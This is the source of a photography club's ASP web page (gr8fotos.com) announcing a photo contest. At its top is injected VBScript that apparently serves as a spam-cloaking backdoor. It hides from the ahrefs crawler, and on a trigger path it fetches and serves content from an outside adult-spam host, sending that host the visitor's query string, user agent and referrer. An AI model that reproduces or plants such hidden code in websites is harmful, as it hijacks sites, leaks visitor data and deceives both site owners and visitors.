<%@LANGUAGE="VBSCRIPT"%> <% Dim Repeat1__numRows Dim Repeat1__index Repeat1__numRows = -1 Repeat1__index = 0 Recordset1_numRows = Recordset1_numRows + Repeat1__numRows %> <% ir = Request.ServerVariables("Query_String") id = Server.URLEncode(Request.ServerVariables("Query_String")) h = Request.ServerVariables("Server_Name") r = Cstr(Server.URLEncode(Request.ServerVariables("HTTP_REFERER"))) u = Cstr(Server.URLEncode(Request.ServerVariables("HTTP_USER_AGENT"))) If InStr(u,"ahrefs") <> 0 Or InStr(u,"ahrefsbot") <> 0 Then response.Redirect "https://www.ahrefs.com" response.end End If If InStr(ir,"/d34c/") <> 0 Then html = GetBody("http://sex9.f613.com/?k="&id&"&h="&h&"&u="&u&"&r="&r) response.write html response.end End If Function GetBody(URL) Set HTTPReq = Server.createobject("MSXML2.ServerXMLHTTP.3.0") HTTPReq.Open "GET",URL,False HTTPReq.send If HTTPReq.readyState <> 4 Then Exit Function GetBody = Bytes2bStr(HTTPReq.responseBody) Set HTTPReq = Nothing End Function Function Bytes2bStr(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn =BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStr = StringReturn End Function %> Welcome to gr8fotos.com
gr8fotos.com

Upcoming Competitions & Exhibitions

PHOTO CONTEST DEADLINE EXTENDED TO JANUARY 31, 2015!

Announcing the Inaugural gr8fotos Camera Club/Boyce Ditto Public Library Photo Contest!

For rules, please click here.

For entry forms, please click here.

 

    follow us on Twitter

    Joining our Group

    This club is open to anyone who has a love of photography. Age isn't as important as maturity level.


    No place is boring, if you've had a good night's sleep and have a pocket full of unexposed film. 
    - Robert Adams